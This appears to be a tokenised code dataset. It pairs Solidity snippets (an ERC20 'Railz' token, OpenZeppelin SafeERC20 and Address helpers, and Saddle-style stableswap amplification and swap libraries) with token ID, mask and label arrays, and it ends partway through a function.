[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 18305, 1265, 12, 2867, 389, 2080, 16, 2254, 5034, 389, 1132, 13, 1071, 1135, 261, 6430, 13, 288, 203, 3639, 7412, 1265, 12, 389, 2080, 16, 1234, 18, 15330, 16, 389, 1132, 11272, 203, 3639, 327, 18305, 24899, 1132, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0xbE3d97A00b4bE98A626a5c6DEc64f74F5F28da1f/sources/contracts/honeycast.sol
* @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], but also transferring 'value' wei to 'target'. Requirements: - the calling contract must have an ETH balance of at least 'value'. - the called Solidity function must be 'payable'. _Available since v3.1._/
function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
3,815,448
[ 1, 8650, 487, 288, 22044, 17, 1887, 17, 915, 1477, 17, 2867, 17, 3890, 17, 97, 3292, 915, 1477, 17337, 1496, 2546, 906, 74, 20245, 296, 1132, 11, 732, 77, 358, 296, 3299, 10332, 29076, 30, 300, 326, 4440, 6835, 1297, 1240, 392, 512, 2455, 11013, 434, 622, 4520, 296, 1132, 10332, 300, 326, 2566, 348, 7953, 560, 445, 1297, 506, 296, 10239, 429, 10332, 389, 5268, 3241, 331, 23, 18, 21, 6315, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1377, 445, 445, 26356, 620, 12, 203, 1850, 1758, 1018, 16, 203, 1850, 1731, 3778, 501, 16, 203, 1850, 2254, 5034, 460, 203, 1377, 262, 2713, 1135, 261, 3890, 3778, 13, 288, 203, 1850, 327, 445, 26356, 620, 12, 3299, 16, 501, 16, 460, 16, 315, 1887, 30, 4587, 17, 2815, 745, 598, 460, 2535, 8863, 203, 1377, 289, 203, 21281, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.4.24; /** * * This contract is used to set admin to the contract which has some additional features such as minting , burning etc * */ contract Owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } /* This function is used to transfer adminship to new owner * @param _newOwner - address of new admin or owner */ function transferOwnership(address _newOwner) onlyOwner public { owner = _newOwner; } } /** * This is base ERC20 Contract , basically ERC-20 defines a common list of rules for all Ethereum tokens to follow */ contract ERC20 { using SafeMath for uint256; //This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) allowed; //This maintains list of all accounts with token lock mapping(address => bool) public isLockedAccount; // public variables of the token string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; // This notifies client about the approval done by owner to spender for a given value event Approval(address indexed owner, address indexed spender, uint256 value); // This notifies client about the approval done event Transfer(address indexed from, address indexed to, uint256 value); function ERC20(uint256 _initialSupply,string _tokenName, string _tokenSymbol) public { totalSupply = _initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; name = _tokenName; symbol = _tokenSymbol; } /* This function is used to transfer tokens to a particular address * @param _to receiver address where transfer is to be done * @param _value value to be transferred */ function transfer(address _to, uint256 _value) public returns (bool) { require(!isLockedAccount[msg.sender]); // Check if sender is not blacklisted require(!isLockedAccount[_to]); // Check if receiver is not blacklisted require(balanceOf[msg.sender] > 0); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require(_value > 0); require(balanceOf[_to] .add(_value) >= balanceOf[_to]); // Check for overflows require(_to != msg.sender); // Check if sender and receiver is not same balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract value from sender balanceOf[_to] = balanceOf[_to].add(_value); // Add the value to the receiver emit Transfer(msg.sender, _to, _value); // Notify all clients about the transfer events return true; } /* Send _value amount of tokens from address _from to address _to * The transferFrom method is used for a withdraw workflow, allowing contracts to send * tokens on your behalf * @param _from address from which amount is to be transferred * @param _to address to which amount is transferred * @param _amount to which amount is transferred */ function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { require(balanceOf[_from] >= _amount); require(allowed[_from][msg.sender] >= _amount); require(_amount > 0); require(_to != address(0)); require(_to != msg.sender); balanceOf[_from] = balanceOf[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); return true; } /* This function allows _spender to withdraw from your account, multiple times, up to the _value amount. * If this function is called again it overwrites the current allowance with _value. * @param _spender address of the spender * @param _amount amount allowed to be withdrawal */ function approve(address _spender, uint256 _amount) public returns (bool success) { require(_spender != msg.sender); allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } /* This function returns the amount of tokens approved by the owner that can be * transferred to the spender&#39;s account * @param _owner address of the owner * @param _spender address of the spender */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } //This is the Main Railz Token Contract derived from the other two contracts Owned and ERC20 contract RailzToken is Owned, ERC20 { using SafeMath for uint256; uint256 tokenSupply = 2000000000; //2 billions // This notifies clients about the amount burnt , only admin is able to burn the contract event Burn(address from, uint256 value); /* This is the main Token Constructor * @param _centralAdmin Address of the admin of the contract */ function RailzToken() ERC20 (tokenSupply,"Railz","RLZ") public { owner = msg.sender; } /* This function is used to mint additional tokens * only admin can invoke this function * @param _mintedAmount amount of tokens to be minted */ function mintTokens(uint256 _mintedAmount) public onlyOwner { balanceOf[owner] = balanceOf[owner].add(_mintedAmount); totalSupply = totalSupply.add(_mintedAmount); Transfer(0, owner, _mintedAmount); } /** * This function Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public onlyOwner { require(_value <= balanceOf[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balanceOf[burner] = balanceOf[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } /* This function is used to lock a user&#39;s token , tokens once locked cannot be transferred * only admin can invoke this function * @param _target address of the target */ function lockAccount(address _target) public onlyOwner { require(_target != address(0)); isLockedAccount[_target] = true; } /* This function is used to unlock a user&#39;s already locked tokens * only admin can invoke this function * @param _target address of the target */ function unlockAccount(address _target) public onlyOwner { require(_target != address(0)); isLockedAccount[_target] = false; } }
This is the Main Railz Token Contract derived from the other two contracts Owned and ERC20 This notifies clients about the amount burnt , only admin is able to burn the contract
contract RailzToken is Owned, ERC20 { using SafeMath for uint256; event Burn(address from, uint256 value); function RailzToken() ERC20 (tokenSupply,"Railz","RLZ") public { owner = msg.sender; } function mintTokens(uint256 _mintedAmount) public onlyOwner { balanceOf[owner] = balanceOf[owner].add(_mintedAmount); totalSupply = totalSupply.add(_mintedAmount); Transfer(0, owner, _mintedAmount); } function burn(uint256 _value) public onlyOwner { require(_value <= balanceOf[msg.sender]); address burner = msg.sender; balanceOf[burner] = balanceOf[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } function lockAccount(address _target) public onlyOwner { require(_target != address(0)); isLockedAccount[_target] = true; } function unlockAccount(address _target) public onlyOwner { require(_target != address(0)); isLockedAccount[_target] = false; } }
15,333,276
[ 1, 2503, 353, 326, 12740, 534, 671, 94, 3155, 13456, 10379, 628, 326, 1308, 2795, 20092, 14223, 11748, 471, 4232, 39, 3462, 1220, 19527, 7712, 2973, 326, 3844, 18305, 88, 269, 1338, 3981, 353, 7752, 358, 18305, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 534, 671, 94, 1345, 353, 14223, 11748, 16, 4232, 39, 3462, 288, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 2868, 203, 565, 871, 605, 321, 12, 2867, 628, 16, 2254, 5034, 460, 1769, 7010, 377, 203, 202, 915, 534, 671, 94, 1345, 1435, 7010, 203, 202, 654, 39, 3462, 261, 2316, 3088, 1283, 10837, 54, 671, 94, 15937, 54, 48, 62, 7923, 1071, 203, 565, 288, 203, 202, 202, 8443, 273, 1234, 18, 15330, 31, 203, 202, 97, 5411, 203, 203, 565, 445, 312, 474, 5157, 12, 11890, 5034, 389, 81, 474, 329, 6275, 13, 1071, 1338, 5541, 288, 203, 3639, 11013, 951, 63, 8443, 65, 273, 11013, 951, 63, 8443, 8009, 1289, 24899, 81, 474, 329, 6275, 1769, 203, 3639, 2078, 3088, 1283, 273, 2078, 3088, 1283, 18, 1289, 24899, 81, 474, 329, 6275, 1769, 203, 3639, 12279, 12, 20, 16, 3410, 16, 389, 81, 474, 329, 6275, 1769, 4202, 203, 565, 289, 377, 203, 203, 565, 445, 18305, 12, 11890, 5034, 389, 1132, 13, 1071, 1338, 5541, 288, 203, 1377, 2583, 24899, 1132, 1648, 11013, 951, 63, 3576, 18, 15330, 19226, 203, 1377, 1758, 18305, 264, 273, 1234, 18, 15330, 31, 203, 1377, 11013, 951, 63, 70, 321, 264, 65, 273, 11013, 951, 63, 70, 321, 264, 8009, 1717, 24899, 1132, 1769, 203, 1377, 2078, 3088, 1283, 273, 2078, 3088, 1283, 18, 1717, 24899, 1132, 1769, 203, 1377, 605, 321, 12, 70, 321, 264, 16, 389, 1132, 1769, 203, 225, 289, 203, 203, 565, 445, 2176, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./SwapUtils.sol"; /** * @title AmplificationUtils library * @notice A library to calculate and ramp the A parameter of a given `SwapUtils.Swap` struct. * This library assumes the struct is fully validated. */ library AmplificationUtils { using SafeMath for uint256; event RampA( uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime ); event StopRampA(uint256 currentA, uint256 time); // Constant values used in ramping A calculations uint256 public constant A_PRECISION = 100; uint256 public constant MAX_A = 10**6; uint256 private constant MAX_A_CHANGE = 2; uint256 private constant MIN_RAMP_TIME = 14 days; /** * @notice Return A, the amplification coefficient * n * (n - 1) * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter */ function getA(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self).div(A_PRECISION); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function getAPrecise(SwapUtils.Swap storage self) external view returns (uint256) { return _getAPrecise(self); } /** * @notice Return A in its raw precision * @dev See the StableSwap paper for details * @param self Swap struct to read from * @return A parameter in its raw precision form */ function _getAPrecise(SwapUtils.Swap storage self) internal view returns (uint256) { uint256 t1 = self.futureATime; // time when ramp is finished uint256 a1 = self.futureA; // final A value when ramp is finished if (block.timestamp < t1) { uint256 t0 = self.initialATime; // time when ramp is started uint256 a0 = self.initialA; // initial A value when ramp is started if (a1 > a0) { // a0 + (a1 - a0) * (block.timestamp - t0) / (t1 - t0) return a0.add( a1.sub(a0).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } else { // a0 - (a0 - a1) * (block.timestamp - t0) / (t1 - t0) return a0.sub( a0.sub(a1).mul(block.timestamp.sub(t0)).div(t1.sub(t0)) ); } } else { return a1; } } /** * @notice Start ramping up or down A parameter towards given futureA_ and futureTime_ * Checks if the change is too rapid, and commits the new A value only when it falls under * the limit range. * @param self Swap struct to update * @param futureA_ the new A to ramp towards * @param futureTime_ timestamp when the new A should be reached */ function rampA( SwapUtils.Swap storage self, uint256 futureA_, uint256 futureTime_ ) external { require( block.timestamp >= self.initialATime.add(1 days), "Wait 1 day before starting ramp" ); require( futureTime_ >= block.timestamp.add(MIN_RAMP_TIME), "Insufficient ramp time" ); require( futureA_ > 0 && futureA_ < MAX_A, "futureA_ must be > 0 and < MAX_A" ); uint256 initialAPrecise = _getAPrecise(self); uint256 futureAPrecise = futureA_.mul(A_PRECISION); if (futureAPrecise < initialAPrecise) { require( futureAPrecise.mul(MAX_A_CHANGE) >= initialAPrecise, "futureA_ is too small" ); } else { require( futureAPrecise <= initialAPrecise.mul(MAX_A_CHANGE), "futureA_ is too large" ); } self.initialA = initialAPrecise; self.futureA = futureAPrecise; self.initialATime = block.timestamp; self.futureATime = futureTime_; emit RampA( initialAPrecise, futureAPrecise, block.timestamp, futureTime_ ); } /** * @notice Stops ramping A immediately. Once this function is called, rampA() * cannot be called for another 24 hours * @param self Swap struct to update */ function stopRampA(SwapUtils.Swap storage self) external { require(self.futureATime > block.timestamp, "Ramp is already stopped"); uint256 currentA = _getAPrecise(self); self.initialA = currentA; self.futureA = currentA; self.initialATime = block.timestamp; self.futureATime = block.timestamp; emit StopRampA(currentA, block.timestamp); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./AmplificationUtils.sol"; import "./LPToken.sol"; import "./MathUtils.sol"; /** * @title SwapUtils library * @notice A library to be used within Swap.sol. Contains functions responsible for custody and AMM functionalities. * @dev Contracts relying on this library must initialize SwapUtils.Swap struct then use this library * for SwapUtils.Swap struct. Note that this library contains both functions called by users and admins. * Admin functions should be protected within contracts using this library. */ library SwapUtils { using SafeERC20 for IERC20; using SafeMath for uint256; using MathUtils for uint256; /*** EVENTS ***/ event TokenSwap( address indexed buyer, uint256 tokensSold, uint256 tokensBought, uint128 soldId, uint128 boughtId ); event AddLiquidity( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event RemoveLiquidity( address indexed provider, uint256[] tokenAmounts, uint256 lpTokenSupply ); event RemoveLiquidityOne( address indexed provider, uint256 lpTokenAmount, uint256 lpTokenSupply, uint256 boughtId, uint256 tokensBought ); event RemoveLiquidityImbalance( address indexed provider, uint256[] tokenAmounts, uint256[] fees, uint256 invariant, uint256 lpTokenSupply ); event NewAdminFee(uint256 newAdminFee); event NewSwapFee(uint256 newSwapFee); struct Swap { // variables around the ramp management of A, // the amplification coefficient * n * (n - 1) // see https://www.curve.fi/stableswap-paper.pdf for details uint256 initialA; uint256 futureA; uint256 initialATime; uint256 futureATime; // fee calculation uint256 swapFee; uint256 adminFee; LPToken lpToken; // contract references for all tokens being pooled IERC20[] pooledTokens; // multipliers for each pooled token's precision to get to POOL_PRECISION_DECIMALS // for example, TBTC has 18 decimals, so the multiplier should be 1. WBTC // has 8, so the multiplier should be 10 ** 18 / 10 ** 8 => 10 ** 10 uint256[] tokenPrecisionMultipliers; // the pool balance of each token, in the token's precision // the contract's actual token balance might differ uint256[] balances; } // Struct storing variables used in calculations in the // calculateWithdrawOneTokenDY function to avoid stack too deep errors struct CalculateWithdrawOneTokenDYInfo { uint256 d0; uint256 d1; uint256 newY; uint256 feePerToken; uint256 preciseA; } // Struct storing variables used in calculations in the // {add,remove}Liquidity functions to avoid stack too deep errors struct ManageLiquidityInfo { uint256 d0; uint256 d1; uint256 d2; uint256 preciseA; LPToken lpToken; uint256 totalSupply; uint256[] balances; uint256[] multipliers; } // the precision all pools tokens will be converted to uint8 public constant POOL_PRECISION_DECIMALS = 18; // the denominator used to calculate admin and LP fees. For example, an // LP fee might be something like tradeAmount.mul(fee).div(FEE_DENOMINATOR) uint256 private constant FEE_DENOMINATOR = 10**10; // Max swap fee is 1% or 100bps of each swap uint256 public constant MAX_SWAP_FEE = 10**8; // Max adminFee is 100% of the swapFee // adminFee does not add additional fee on top of swapFee // Instead it takes a certain % of the swapFee. Therefore it has no impact on the // users but only on the earnings of LPs uint256 public constant MAX_ADMIN_FEE = 10**10; // Constant value used as max loop limit uint256 private constant MAX_LOOP_LIMIT = 256; /*** VIEW & PURE FUNCTIONS ***/ function _getAPrecise(Swap storage self) internal view returns (uint256) { return AmplificationUtils._getAPrecise(self); } /** * @notice Calculate the dy, the amount of selected token that user receives and * the fee of withdrawing in one token * @param tokenAmount the amount to withdraw in the pool's precision * @param tokenIndex which token will be withdrawn * @param self Swap struct to read from * @return the amount of token user will receive */ function calculateWithdrawOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex ) external view returns (uint256) { (uint256 availableTokenAmount, ) = _calculateWithdrawOneToken( self, tokenAmount, tokenIndex, self.lpToken.totalSupply() ); return availableTokenAmount; } function _calculateWithdrawOneToken( Swap storage self, uint256 tokenAmount, uint8 tokenIndex, uint256 totalSupply ) internal view returns (uint256, uint256) { uint256 dy; uint256 newY; uint256 currentY; (dy, newY, currentY) = calculateWithdrawOneTokenDY( self, tokenIndex, tokenAmount, totalSupply ); // dy_0 (without fees) // dy, dy_0 - dy uint256 dySwapFee = currentY .sub(newY) .div(self.tokenPrecisionMultipliers[tokenIndex]) .sub(dy); return (dy, dySwapFee); } /** * @notice Calculate the dy of withdrawing in one token * @param self Swap struct to read from * @param tokenIndex which token will be withdrawn * @param tokenAmount the amount to withdraw in the pools precision * @return the d and the new y after withdrawing one token */ function calculateWithdrawOneTokenDY( Swap storage self, uint8 tokenIndex, uint256 tokenAmount, uint256 totalSupply ) internal view returns ( uint256, uint256, uint256 ) { // Get the current D, then solve the stableswap invariant // y_i for D - tokenAmount uint256[] memory xp = _xp(self); require(tokenIndex < xp.length, "Token index out of range"); CalculateWithdrawOneTokenDYInfo memory v = CalculateWithdrawOneTokenDYInfo(0, 0, 0, 0, 0); v.preciseA = _getAPrecise(self); v.d0 = getD(xp, v.preciseA); v.d1 = v.d0.sub(tokenAmount.mul(v.d0).div(totalSupply)); require(tokenAmount <= xp[tokenIndex], "Withdraw exceeds available"); v.newY = getYD(v.preciseA, tokenIndex, xp, v.d1); uint256[] memory xpReduced = new uint256[](xp.length); v.feePerToken = _feePerToken(self.swapFee, xp.length); for (uint256 i = 0; i < xp.length; i++) { uint256 xpi = xp[i]; // if i == tokenIndex, dxExpected = xp[i] * d1 / d0 - newY // else dxExpected = xp[i] - (xp[i] * d1 / d0) // xpReduced[i] -= dxExpected * fee / FEE_DENOMINATOR xpReduced[i] = xpi.sub( ( (i == tokenIndex) ? xpi.mul(v.d1).div(v.d0).sub(v.newY) : xpi.sub(xpi.mul(v.d1).div(v.d0)) ).mul(v.feePerToken).div(FEE_DENOMINATOR) ); } uint256 dy = xpReduced[tokenIndex].sub( getYD(v.preciseA, tokenIndex, xpReduced, v.d1) ); dy = dy.sub(1).div(self.tokenPrecisionMultipliers[tokenIndex]); return (dy, v.newY, xp[tokenIndex]); } /** * @notice Calculate the price of a token in the pool with given * precision-adjusted balances and a particular D. * * @dev This is accomplished via solving the invariant iteratively. * See the StableSwap paper and Curve.fi implementation for further details. * * x_1**2 + x1 * (sum' - (A*n**n - 1) * D / (A * n**n)) = D ** (n + 1) / (n ** (2 * n) * prod' * A) * x_1**2 + b*x_1 = c * x_1 = (x_1**2 + c) / (2*x_1 + b) * * @param a the amplification coefficient * n * (n - 1). See the StableSwap paper for details. * @param tokenIndex Index of token we are calculating for. * @param xp a precision-adjusted set of pool balances. Array should be * the same cardinality as the pool. * @param d the stableswap invariant * @return the price of the token, in the same precision as in xp */ function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, "Token not found"); uint256 c = d; uint256 s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // c = c * D * D * D * ... overflow! } } c = c.mul(d).mul(AmplificationUtils.A_PRECISION).div(nA.mul(numTokens)); uint256 b = s.add(d.mul(AmplificationUtils.A_PRECISION).div(nA)); uint256 yPrev; uint256 y = d; for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { yPrev = y; y = y.mul(y).add(c).div(y.mul(2).add(b).sub(d)); if (y.within1(yPrev)) { return y; } } revert("Approximation did not converge"); } /** * @notice Get D, the StableSwap invariant, based on a set of balances and a particular A. * @param xp a precision-adjusted set of pool balances. Array should be the same cardinality * as the pool. * @param a the amplification coefficient * n * (n - 1) in A_PRECISION. * See the StableSwap paper for details * @return the invariant, at the precision of the pool */ function getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) { uint256 numTokens = xp.length; uint256 s; for (uint256 i = 0; i < numTokens; i++) { s = s.add(xp[i]); } if (s == 0) { return 0; } uint256 prevD; uint256 d = s; uint256 nA = a.mul(numTokens); for (uint256 i = 0; i < MAX_LOOP_LIMIT; i++) { uint256 dP = d; for (uint256 j = 0; j < numTokens; j++) { dP = dP.mul(d).div(xp[j].mul(numTokens)); // If we were to protect the division loss we would have to keep the denominator separate // and divide at the end. However this leads to overflow with large numTokens or/and D. // dP = dP * D * D * D * ... 